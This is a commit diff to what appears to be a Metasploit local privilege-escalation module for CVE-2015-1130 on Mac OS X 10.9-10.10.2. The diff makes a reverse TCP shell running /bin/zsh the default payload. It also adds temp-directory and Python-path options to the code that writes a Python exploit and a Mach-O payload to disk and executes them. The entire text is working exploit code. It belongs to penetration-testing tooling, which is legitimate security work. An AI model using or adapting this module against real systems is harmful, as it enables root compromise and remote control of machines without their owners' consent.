@@ -42,8 +42,17 @@ def initialize(info = {})
42
42
'Targets' => [
43
43
[ 'Mac OS X 10.9-10.10.2 x64 (Native Payload)' , { } ]
44
44
] ,
45
- 'DefaultTarget' => 0
45
+ 'DefaultTarget' => 0 ,
46
+ 'DefaultOptions' => {
47
+ 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' ,
48
+ 'CMD' => '/bin/zsh'
49
+ }
46
50
) )
51
+
52
+ register_options ( [
53
+ OptString . new ( 'TMPDIR' , [ true , 'Path to temp directory' , '/tmp' ] ) ,
54
+ OptString . new ( 'PYTHON' , [ true , 'Path to Python' , '/usr/bin/python' ] )
55
+ ] )
47
56
end
48
57
49
58
def check
@@ -58,8 +67,8 @@ def exploit
58
67
exploit_path = File . join ( Msf ::Config . data_directory , 'exploits' , 'CVE-2015-1130' )
59
68
python_exploit = File . read ( File . join ( exploit_path , 'exploit.py' ) )
60
69
binary_payload = Msf ::Util ::EXE . to_osx_x64_macho ( framework , payload . encoded )
61
- exploit_file = "/tmp /#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
62
- payload_file = "/tmp /#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
70
+ exploit_file = "#{ datastore [ 'TMPDIR' ] } /#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
71
+ payload_file = "#{ datastore [ 'TMPDIR' ] } /#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
63
72
64
73
print_status ( "Writing exploit file as '#{ exploit_file } '" )
65
74
write_file ( exploit_file , python_exploit )
@@ -70,7 +79,7 @@ def exploit
70
79
register_file_for_cleanup ( payload_file )
71
80
72
81
print_status ( 'Executing payload...' )
73
- cmd_exec ( "python #{ exploit_file } #{ payload_file } #{ payload_file } " )
82
+ cmd_exec ( "#{ datastore [ 'PYTHON' ] } #{ exploit_file } #{ payload_file } #{ payload_file } " )
74
83
cmd_exec ( payload_file )
75
84
end
76
85
0 commit comments